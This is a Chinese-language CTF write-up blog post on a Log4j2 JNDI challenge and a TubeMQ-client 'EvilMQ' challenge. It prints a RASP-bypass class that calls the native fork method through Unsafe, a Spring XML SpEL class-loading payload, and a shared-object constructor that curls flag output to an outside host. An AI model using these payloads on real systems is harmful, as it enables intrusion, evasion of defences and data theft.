Structs2漏洞复现

Posted by Azeril on January 2, 2024

logging

Hint 1: 可以换个角度 尝试如何让 Spring 控制台报错? Hint 2: 确实是 log4j 2 rce (CVE-2021-44228) Hint 3: fuzz (尝试将 payload 放入某个 HTTP Header)

反编译jar包啥都没有,有log4j依赖,结合提示就是让报错,然后存储在日志中

首先测试发现是可以通的直接拿工具了,JNDI-Injection-Exploit

image-20240105164320802

image-20240105164504720

EvilMQ

Hint 1: 请关注题目名称 EvilMQ 并结合最近的已知公开漏洞
Hint 2:  ActiveMQ (CVE-2023-46604) 类似 但是 Client  RCE 需要构造 Evil Server

复现ActiveMQ在上篇文章已经复现了这里直接分析

(ActiveMQ是客户端远程代码执行服务器端,感觉这个EvilMQ是,服务器端远程代码执行客户端,类似MySQL漏洞)

所以需要自己手动构建服务器端???

这里根据Hint 2,大概可以知道和Throwsable 并且漏洞点是newInstance这种,就需要看依赖找了

<dependency>
            <groupId>org.apache.inlong</groupId>
            <artifactId>tubemq-client</artifactId>
            <version>1.9.0</version>
        </dependency>

https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/utils/MixUtils.java#L70

github和题目的jar包有些区别,下面都是基于题目jar包的:

public static Throwable unwrapException(String exceptionMsg) {
        Class clazz;
        Constructor<?> ctor;
        try {
             //以#进行分割
            String[] strExceptionMsgSet = exceptionMsg.split("#");
           //会把第一个值不能为空、要有这个类、并且有一个字符串构造方法
            if (strExceptionMsgSet.length > 0 && !TStringUtils.isBlank(strExceptionMsgSet[0]) && (clazz = Class.forName(strExceptionMsgSet[0])) != null && (ctor = clazz.getConstructor(String.class)) != null) {
                if (strExceptionMsgSet.length == 1) {
                    return (Throwable) ctor.newInstance(new Object[0]);//这里单纯实例化但是参数不可控没用
                }
                if (strExceptionMsgSet[0].equalsIgnoreCase("java.lang.NullPointerException")) {
                    return new NullPointerException("remote return null");
                }
                if (strExceptionMsgSet[1] == null || TStringUtils.isBlank(strExceptionMsgSet[1]) || strExceptionMsgSet[1].equalsIgnoreCase(BeanDefinitionParserDelegate.NULL_ELEMENT)) {
                    return (Throwable) ctor.newInstance("Exception with null StackTrace content");
                }
                return (Throwable) ctor.newInstance(strExceptionMsgSet[1]);
                //目光看到这里,这个strExceptionMsgSet[1]是我们可控的,要满足很简单,直接不满足以上即可
                //ClassPathXmlApplicationContext#http://127.0.0.1:8000/poc.xml  就行
            }
        } catch (Throwable th) {
        }
        return new RemoteException(exceptionMsg);
    }

接下来就是找哪里调用了unwrapException方法

这里完全没头绪在这里我发现和以前做的题比完全不一样以前题就是找漏洞点然后找出口这里出口大概就是一些readObject或者一些springboot的传参而CVE的话感觉是项目自己的流程

https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/netty/NettyClient.java#L349

public void channelRead(ChannelHandlerContext ctx, Object e) {
            ResponseWrapper responseWrapper;
            if (e instanceof RpcDataPack) {
                RpcDataPack dataPack = (RpcDataPack) e;
                Callback callback = (Callback) NettyClient.this.requests.remove(Integer.valueOf(dataPack.getSerialNo()));
                if (callback != null) {
                    Timeout timeout = (Timeout) NettyClient.this.timeouts.remove(Integer.valueOf(dataPack.getSerialNo()));
                    if (timeout != null) {
                        timeout.cancel();
                    }
                    try {
                        ByteBufferInputStream in = new ByteBufferInputStream(dataPack.getDataLst());
                        RPCProtos.RpcConnHeader connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(in);
                        if (connHeader == null) {
                            throw new EOFException();
                        }
                        RPCProtos.ResponseHeader rpcResponse = RPCProtos.ResponseHeader.parseDelimitedFrom(in);
                        if (rpcResponse == null) {
                            throw new EOFException();
                        }
                        if (rpcResponse.getStatus() == RPCProtos.ResponseHeader.Status.SUCCESS) {
                            RPCProtos.RspResponseBody pbRpcResponse = RPCProtos.RspResponseBody.parseDelimitedFrom(in);
                            if (pbRpcResponse == null) {
                                throw new NetworkException("Not found PBRpcResponse data!");
                            }
                            responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), pbRpcResponse.getMethod(), PbEnDecoder.pbDecode(false, pbRpcResponse.getMethod(), pbRpcResponse.getData().toByteArray()));
                        } else {
                            RPCProtos.RspExceptionBody exceptionResponse = RPCProtos.RspExceptionBody.parseDelimitedFrom(in);
                            if (exceptionResponse == null) {
                                throw new NetworkException("Not found RpcException data!");
                            }
                            responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), MixUtils.replaceClassNamePrefix(exceptionResponse.getExceptionName(), false, rpcResponse.getProtocolVer()), exceptionResponse.getStackTrace());
                        }
                        /*
                        Throwable remote =
                                    MixUtils.unwrapException(new StringBuilder(512)
                                            .append(responseWrapper.getErrMsg()).append("#")
                                            .append(responseWrapper.getStackTrace()).toString());
                                            //这是github中原来的代码
                                            */
                        if (!responseWrapper.isSuccess() && IOException.class.isAssignableFrom(MixUtils.unwrapException(
                          
                            new StringBuilder(512).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString()).getClass())) {
                            NettyClient.this.close();
                        }
                        callback.handleResult(responseWrapper);
                    } catch (Throwable ee) {
                        ResponseWrapper responseWrapper2 = new ResponseWrapper(-2, dataPack.getSerialNo(), -2, -2, -2, ee);
                        if (ee instanceof EOFException) {
                            NettyClient.this.close();
                        }
                        callback.handleResult(responseWrapper2);
                    }
                } else if (NettyClient.logger.isDebugEnabled()) {
                    NettyClient.logger.debug("Missing previous call info, maybe it has been timeout.");
                }
            }
        }

MixUtils.unwrapException( new StringBuilder(512).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString())
//只需要控制responseWrapper.getErrMsg()   为恶意类的名字需要带上包名(forName)
//responseWrapper.getStackTrace()        这里为恶意参数

再往上找是真的不会了,这里先把所有已有的条件分析一下

目的构造恶意服务端让客户端通过某种方式连接服务端

翻过来看看题目,是有controller的

public class IndexController {
    @RequestMapping({"/produce"})
    public String produce(@RequestParam String masterHostAndPort, @RequestParam String topic, @RequestParam String data) {//这里需要传三个参数,根据变量名字,感觉下面是进行一个连接服务器端的操作
        try {
            return this.producerService.produce(masterHostAndPort, topic, data);
        } catch (Throwable e) {
            return e.getMessage();
        }
    }

    @RequestMapping({"/consume"})
    public String consume(@RequestParam String masterHostAndPort, @RequestParam String topic, @RequestParam String group) {
        try {
            return (String) this.consumerService.consume(masterHostAndPort, topic, group).stream().map(message -> {
                return String.format("topic: %s, data: %s", message.getTopic(), new String(message.getData()));
            }).collect(Collectors.joining(StringUtils.LF));
        } catch (Throwable e) {
            return e.getMessage();
        }
    }
}

但是拉入这个包的时候maven一直就加载不成功,并且太菜了不太能看懂如何构建服务器。。。

先看下如何绕过 RASP

参考文章:hook native方法 | RASP安全技术 (jrasp.com) [本地命令执行 · 攻击Java Web应用-Java Web安全] (javasec.org)

开启native函数的prefix功能

就会从标准解析变成动态解析

image-20240111164825144

如果没有找到,那么虚拟机将会依次进行下面的动作:

1method(foo) -> nativeImplementation(foo)
2method(wrapped_foo) -> nativeImplementation(foo)
3method(wrapped_foo) -> nativeImplementation(wrapped_foo)
4method(wrapped_foo) -> nativeImplementation(foo)

代码中过滤的是 java.lang.UNIXProcess这个类

image-20240111165442860

image-20240111165402447

并且代码中开启了这一特征,在transformer中加入了RASP_这个前缀,所以我们反射调用RASP__UNIXProcess即可

image-20240111165424599

这里用unsafe进行实例化的原因是,如果直接进行实例化是会被检测到的 使用Unsafe类的allocateInstance方法在不调用UNIXProcess/ProcessImpl构造方法情况下生成实例

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class linux_fork_and_exec{
    public linux_fork_and_exec(){
        try {
            String[] cmds = new String[]{"bash", "-c", "gnome-calculator"};
            Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

            Class processClass = null;

            try {
                processClass = Class.forName("java.lang.UNIXProcess");
            } catch (ClassNotFoundException e) {
                processClass = Class.forName("java.lang.ProcessImpl");
            }

            Object processObject = unsafe.allocateInstance(processClass);

            // Convert arguments to a contiguous block; it's easier to do
            // memory management in Java than in C.
            byte[][] cmdArgs = new byte[cmds.length - 1][];
            int size = cmdArgs.length;// For added NUL bytes

            for (int i = 0; i < cmdArgs.length; i++) {
                cmdArgs[i] = cmds[i + 1].getBytes();
                size += cmdArgs[i].length;
            }

            byte[] argBlock = new byte[size];
            int i = 0;

            for (byte[] arg : cmdArgs) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
                // No need to write NUL bytes explicitly
            }

            int[] envc = new int[1];
            int[] std_fds = new int[]{-1, -1, -1};
            Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
            Field helperpathField = processClass.getDeclaredField("helperpath");
            launchMechanismField.setAccessible(true);
            helperpathField.setAccessible(true);
            Object launchMechanismObject = launchMechanismField.get(processObject);
            byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

            int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

            Method forkMethod = processClass.getDeclaredMethod("RASP_forkAndExec",
                    int.class, byte[].class, byte[].class, byte[].class, int.class,
                    byte[].class, int.class, byte[].class, int[].class, boolean.class
            );

            forkMethod.setAccessible(true);// 设置访问权限
            forkMethod.invoke(processObject, ordinal + 1, helperpathObject, toCString(cmds[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
        }catch (Exception e){
            System.out.println(e);
        }
    }
    static byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
}
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="data" class="java.lang.String">
        <constructor-arg><value>PAYLOAD</value></constructor-arg>
    </bean>
    <bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>
</beans>

第二种, RASP 并没有拦截 System.load 方法, 所以可以直接写一个 so 然后上传加载即可

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("curl host.docker.internal:4444 -d \"`/readflag`\"");
}

编译

gcc -shared -fPIC exp.c -o exp.so

Java 代码

package com.example;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Evil {
    public Evil() throws Exception {
        String data = "PAYLOAD";
        String filename = "/tmp/evil.so";
        Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
        System.load(filename);
    }
}

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。